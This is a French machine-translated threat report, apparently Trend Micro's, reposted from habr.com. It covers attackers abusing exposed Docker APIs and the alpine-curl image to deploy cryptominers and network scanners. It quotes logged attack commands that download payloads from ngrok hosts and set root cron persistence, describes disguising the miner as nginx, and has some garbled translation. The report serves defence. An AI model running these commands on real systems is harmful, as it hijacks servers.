Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie

Nous avons analysĂ© les donnĂ©es collectĂ©es Ă  l'aide de conteneurs honeypot, que nous avons créés pour suivre les menaces. Et nous avons dĂ©tectĂ© une activitĂ© importante de la part de mineurs de crypto-monnaie indĂ©sirables ou non autorisĂ©s dĂ©ployĂ©s en tant que conteneurs malveillants Ă  l'aide d'une image publiĂ©e par la communautĂ© sur Docker Hub. L’image est utilisĂ©e dans le cadre d’un service fournissant des mineurs de crypto-monnaie malveillants.

De plus, des programmes permettant de travailler avec des réseaux sont installés pour pénétrer dans les conteneurs et applications voisins ouverts.

Nous laissons nos honeypots tels quels, c'est-à-dire avec les paramÚtres par défaut, sans aucune mesure de sécurité ni installation ultérieure de logiciels supplémentaires. Veuillez noter que Docker propose des recommandations pour la configuration initiale afin d'éviter les erreurs et les vulnérabilités simples. Mais les pots de miel utilisés sont des conteneurs, conçus pour détecter les attaques visant la plateforme de conteneurisation, et non les applications contenues dans les conteneurs.

L’activitĂ© malveillante dĂ©tectĂ©e est Ă©galement remarquable car elle ne nĂ©cessite pas de vulnĂ©rabilitĂ©s et est Ă©galement indĂ©pendante de la version de Docker. Trouver une image de conteneur mal configurĂ©e, et donc ouverte, est tout ce dont les attaquants ont besoin pour infecter de nombreux serveurs ouverts.

L'API Docker non fermĂ©e permet Ă  l'utilisateur d'effectuer un large Ă©ventail de tĂąches. Ă©quipes, notamment l'obtention d'une liste des conteneurs en cours d'exĂ©cution, l'obtention des journaux d'un conteneur spĂ©cifique, le dĂ©marrage, l'arrĂȘt (y compris forcĂ©) et mĂȘme la crĂ©ation d'un nouveau conteneur Ă  partir d'une image spĂ©cifique avec des paramĂštres spĂ©cifiĂ©s.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Sur la gauche se trouve la mĂ©thode de diffusion des logiciels malveillants. À droite se trouve l’environnement de l’attaquant, qui permet le dĂ©ploiement d’images Ă  distance.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Répartition par pays de 3762 API Docker ouvertes. Basé sur la recherche Shodan du 12.02.2019/XNUMX/XNUMX

Options de chaüne d’attaque et de charge utile

Les activitĂ©s malveillantes n’ont pas Ă©tĂ© dĂ©tectĂ©es uniquement Ă  l’aide de pots de miel. Les donnĂ©es de Shodan montrent que le nombre d'API Docker exposĂ©es (voir deuxiĂšme graphique) a augmentĂ© depuis que nous avons enquĂȘtĂ© sur un conteneur mal configurĂ© utilisĂ© comme pont pour dĂ©ployer le logiciel d'extraction de crypto-monnaie Monero. En octobre de l'annĂ©e derniĂšre (2018, donnĂ©es actuelles tu peux ressembler Ă  ça environ. traducteur), il n'y avait que 856 API ouvertes.

Un examen des journaux du pot de miel a montrĂ© que l'utilisation des images de conteneurs Ă©tait Ă©galement associĂ©e Ă  l'utilisation de ngrok, un outil permettant d'Ă©tablir des connexions sĂ©curisĂ©es ou de transfĂ©rer le trafic depuis des points accessibles au public vers des adresses ou des ressources spĂ©cifiĂ©es (par exemple localhost). Cela permet aux attaquants de crĂ©er dynamiquement des URL lors de la transmission d'une charge utile Ă  un serveur ouvert. Vous trouverez ci-dessous des exemples de code issus des journaux montrant un abus du service ngrok :

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Comme vous pouvez le constater, les fichiers tĂ©lĂ©chargĂ©s sont tĂ©lĂ©chargĂ©s Ă  partir d'URL en constante Ă©volution. Ces URL ont une date d'expiration courte, les charges utiles ne peuvent donc pas ĂȘtre tĂ©lĂ©chargĂ©es aprĂšs la date d'expiration.

Il existe deux options de charge utile. Le premier est un mineur ELF compilé pour Linux (défini comme Coinminer.SH.MALXMR.ATNO) qui se connecte au pool de minage. Le second est un script (TrojanSpy.SH.ZNETMAP.A) conçu pour obtenir certains outils réseau utilisés pour analyser les plages réseau puis rechercher de nouvelles cibles.

Le script dropper dĂ©finit deux variables, qui sont ensuite utilisĂ©es pour dĂ©ployer le mineur de crypto-monnaie. La variable HOST contient l'URL oĂč se trouvent les fichiers malveillants, et la variable RIP est le nom de fichier (en fait, le hachage) du mineur Ă  dĂ©ployer. La variable HOST change Ă  chaque fois que la variable de hachage change. Le script tente Ă©galement de vĂ©rifier qu’aucun autre mineur de cryptomonnaie n’est exĂ©cutĂ© sur le serveur attaquĂ©.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Exemples de variables HOST et RIP, ainsi qu'un extrait de code utilisé pour vérifier qu'aucun autre mineur n'est en cours d'exécution

Avant de dĂ©marrer le mineur, il est renommĂ© nginx. D'autres versions de ce script renomment le mineur en d'autres services lĂ©gitimes pouvant ĂȘtre prĂ©sents dans les environnements Linux. Cela suffit gĂ©nĂ©ralement pour contourner les vĂ©rifications de la liste des processus en cours d'exĂ©cution.

Le script de recherche possĂšde Ă©galement des fonctionnalitĂ©s. Il fonctionne avec le mĂȘme service URL pour dĂ©ployer les outils nĂ©cessaires. Parmi eux se trouve le binaire zmap, qui est utilisĂ© pour analyser les rĂ©seaux et obtenir une liste des ports ouverts. Le script charge Ă©galement un autre binaire utilisĂ© pour interagir avec les services trouvĂ©s et recevoir des banniĂšres de leur part pour dĂ©terminer des informations supplĂ©mentaires sur le service trouvĂ© (par exemple, sa version).

Le script prédéfinit également certaines plages réseau à analyser, mais cela dépend de la version du script. Il définit également les ports cibles des services (dans ce cas, Docker) avant d'exécuter l'analyse.

DĂšs que des cibles possibles sont trouvĂ©es, les banniĂšres y sont automatiquement supprimĂ©es. Le script filtre Ă©galement les cibles en fonction des services, applications, composants ou plateformes d'intĂ©rĂȘt : Redis, Jenkins, Drupal, MODX, MaĂźtre Kubernetes, client Docker 1.16 et Apache CouchDB. Si le serveur analysĂ© correspond Ă  l'un d'entre eux, il est enregistrĂ© dans un fichier texte, que les attaquants peuvent ensuite utiliser pour une analyse et un piratage ultĂ©rieurs. Ces fichiers texte sont tĂ©lĂ©chargĂ©s sur les serveurs des attaquants via des liens dynamiques. Autrement dit, une URL distincte est utilisĂ©e pour chaque fichier, ce qui signifie que l'accĂšs ultĂ©rieur est difficile.

Le vecteur d'attaque est une image Docker, comme on peut le voir dans les deux morceaux de code suivants.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
En haut se trouve le changement de nom en service légitime, et en bas se trouve la maniÚre dont zmap est utilisé pour analyser les réseaux.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
En haut se trouvent des plages de réseau prédéfinies, en bas se trouvent des ports spécifiques pour la recherche de services, dont Docker

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
La capture d'écran montre que l'image du curl alpin a été téléchargée plus de 10 millions de fois.

BasĂ© sur Alpine Linux et curl, un outil CLI Ă©conome en ressources pour transfĂ©rer des fichiers via diffĂ©rents protocoles, vous pouvez crĂ©er Image Docker. Comme vous pouvez le voir sur l'image prĂ©cĂ©dente, cette image a dĂ©jĂ  Ă©tĂ© tĂ©lĂ©chargĂ©e plus de 10 millions de fois. Un grand nombre de tĂ©lĂ©chargements peut nĂ©cessiter l'utilisation de cette image comme point d'entrĂ©e ; cette image a Ă©tĂ© mise Ă  jour il y a plus de six mois ; les utilisateurs n'ont pas tĂ©lĂ©chargĂ© d'autres images de ce rĂ©fĂ©rentiel aussi souvent. Dans Docker point d'entrĂ©e - un ensemble d'instructions utilisĂ© pour configurer un conteneur pour l'exĂ©cuter. Si les paramĂštres du point d'entrĂ©e sont incorrects (par exemple, le conteneur reste ouvert depuis Internet), l'image peut ĂȘtre utilisĂ©e comme vecteur d'attaque. Les attaquants peuvent l’utiliser pour livrer une charge utile s’ils trouvent un conteneur mal configurĂ© ou ouvert non pris en charge.

Il est important de noter que cette image (alpine-curl) en elle-mĂȘme n'est pas malveillante, mais comme vous pouvez le voir ci-dessus, elle peut ĂȘtre utilisĂ©e pour exĂ©cuter des fonctions malveillantes. Des images Docker similaires peuvent Ă©galement ĂȘtre utilisĂ©es pour effectuer des activitĂ©s malveillantes. Nous avons contactĂ© Docker et travaillĂ© avec eux sur ce problĂšme.

Recommandations

RĂ©glage incorrect reste problĂšme constant pour de nombreuses entreprises, notamment celles mettant en Ɠuvre DevOps, axĂ© sur un dĂ©veloppement et une livraison rapides. Tout est aggravĂ© par la nĂ©cessitĂ© de respecter les rĂšgles d'audit et de contrĂŽle, la nĂ©cessitĂ© de contrĂŽler la confidentialitĂ© des donnĂ©es, ainsi que les Ă©normes dommages rĂ©sultant de leur non-respect. L'intĂ©gration de l'automatisation de la sĂ©curitĂ© dans le cycle de vie du dĂ©veloppement vous aide non seulement Ă  dĂ©tecter les failles de sĂ©curitĂ© qui autrement pourraient passer inaperçues, mais Ă©galement Ă  rĂ©duire la charge de travail inutile, comme l'exĂ©cution de versions logicielles supplĂ©mentaires pour chaque vulnĂ©rabilitĂ© dĂ©couverte ou mauvaise configuration aprĂšs le dĂ©ploiement d'une application.

L’incident Ă©voquĂ© dans cet article souligne la nĂ©cessitĂ© de prendre en compte la sĂ©curitĂ© dĂšs le dĂ©part, avec notamment les recommandations suivantes :

  • Pour les administrateurs systĂšme et les dĂ©veloppeurs : vĂ©rifiez toujours les paramĂštres de votre API pour vous assurer que tout est configurĂ© pour accepter uniquement les demandes d'un serveur ou d'un rĂ©seau interne spĂ©cifique.
  • Suivez le principe des moindres droits : assurez-vous que les images des conteneurs sont signĂ©es et vĂ©rifiĂ©es, limitez l'accĂšs aux composants critiques (service de lancement de conteneurs) et ajoutez le cryptage aux connexions rĂ©seau.
  • Suivre recommandations et activer les mĂ©canismes de sĂ©curitĂ©, par ex. depuis Docker et intĂ©grĂ© fonctions de sĂ©curitĂ©.
  • Utilisez l'analyse automatisĂ©e des environnements d'exĂ©cution et des images pour obtenir des informations supplĂ©mentaires sur les processus exĂ©cutĂ©s dans le conteneur (par exemple, pour dĂ©tecter l'usurpation d'identitĂ© ou rechercher des vulnĂ©rabilitĂ©s). Le contrĂŽle des applications et la surveillance de l'intĂ©gritĂ© aident Ă  suivre les modifications anormales apportĂ©es aux serveurs, aux fichiers et aux zones du systĂšme.

Trendmicro aide les Ă©quipes DevOps Ă  crĂ©er en toute sĂ©curitĂ©, Ă  dĂ©ployer rapidement et Ă  lancer n'importe oĂč. Tendance Micro SĂ©curitĂ© du cloud hybride Fournit une sĂ©curitĂ© puissante, rationalisĂ©e et automatisĂ©e dans l'ensemble du pipeline DevOps d'une organisation et fournit de multiples dĂ©fenses contre les menaces. XGen pour protĂ©ger les charges de travail physiques, virtuelles et cloud lors de l'exĂ©cution. Il ajoute Ă©galement la sĂ©curitĂ© des conteneurs avec Deep Security Đž VĂ©rification intelligente de sĂ©curitĂ© approfondie, qui analyse les images des conteneurs Docker Ă  la recherche de logiciels malveillants et de vulnĂ©rabilitĂ©s Ă  tout moment du pipeline de dĂ©veloppement afin de prĂ©venir les menaces avant leur dĂ©ploiement.

Signes de compromis

Hachages associĂ©s :

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Sur Cours vidĂ©o Docker Les orateurs en exercice montrent quels rĂ©glages doivent ĂȘtre effectuĂ©s en premier afin de minimiser la probabilitĂ© ou d'Ă©viter complĂštement l'apparition de la situation dĂ©crite ci-dessus. Et du 19 au 21 aoĂ»t lors d'un cours intensif en ligne Outils et astuces DevOps Vous pouvez discuter de ces problĂšmes de sĂ©curitĂ© et d’autres problĂšmes similaires avec des collĂšgues et des enseignants en exercice lors d’une table ronde, oĂč chacun peut s’exprimer et Ă©couter les souffrances et les rĂ©ussites de collĂšgues expĂ©rimentĂ©s.

Source: habr.com